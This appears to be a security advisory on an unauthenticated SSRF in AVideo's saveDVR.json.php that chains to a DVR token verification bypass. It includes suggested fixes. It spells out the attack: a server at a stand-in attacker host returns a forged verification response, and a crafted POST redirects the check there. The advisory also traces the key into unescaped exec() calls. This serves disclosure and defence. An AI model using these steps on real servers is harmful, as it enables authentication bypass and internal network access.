AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

1. The attacker sets up a server at https://attacker.example.com/ with the path:

   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php
   

   That returns:

   {"error": false, "response": {"key": "attacker_controlled_value"}}
   

2. The attacker sends:

   POST /plugin/Live/standAloneFiles/saveDVR.json.php
   
   webSiteRootURL=https://attacker.example.com/&saveDVR=anything
   

3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.

4. The key value from the response flows into shell commands:

   • Line 55: $DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)
   • Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
     • Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}");
     • Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");
     • Line 167: exec("rm -R {$tmpDVRDir}");

   The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:

   • The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.
   • The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.
   • The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.

Impact

• SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
• Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
• Potential Command Execution: While the regex on $key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.
• Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.

Suggested Fix

1. Remove the user-controlled webSiteRootURL fallback entirely. Require $streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:

   // Remove this block:
   // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
   //     $streamerURL = $_REQUEST['webSiteRootURL'];
   // }
   
   // If $streamerURL is still empty, abort:
   if (empty($streamerURL)) {
       error_log("saveDVR: streamerURL is not configured");
       die('saveDVR: Server not configured');
   }
   

2. If the parameter must remain for backward compatibility, validate it:

   if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
       $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);
       if ($url && preg_match('/^https?:\/\//i', $url)) {
           // Resolve hostname and block private/reserved IPs
           $host = parse_url($url, PHP_URL_HOST);
           $ip = gethostbyname($host);
           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
               die('saveDVR: Invalid URL');
           }
           $streamerURL = $url;
       }
   }
   

3. Apply escapeshellarg() to all variables used in exec() calls, including $DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.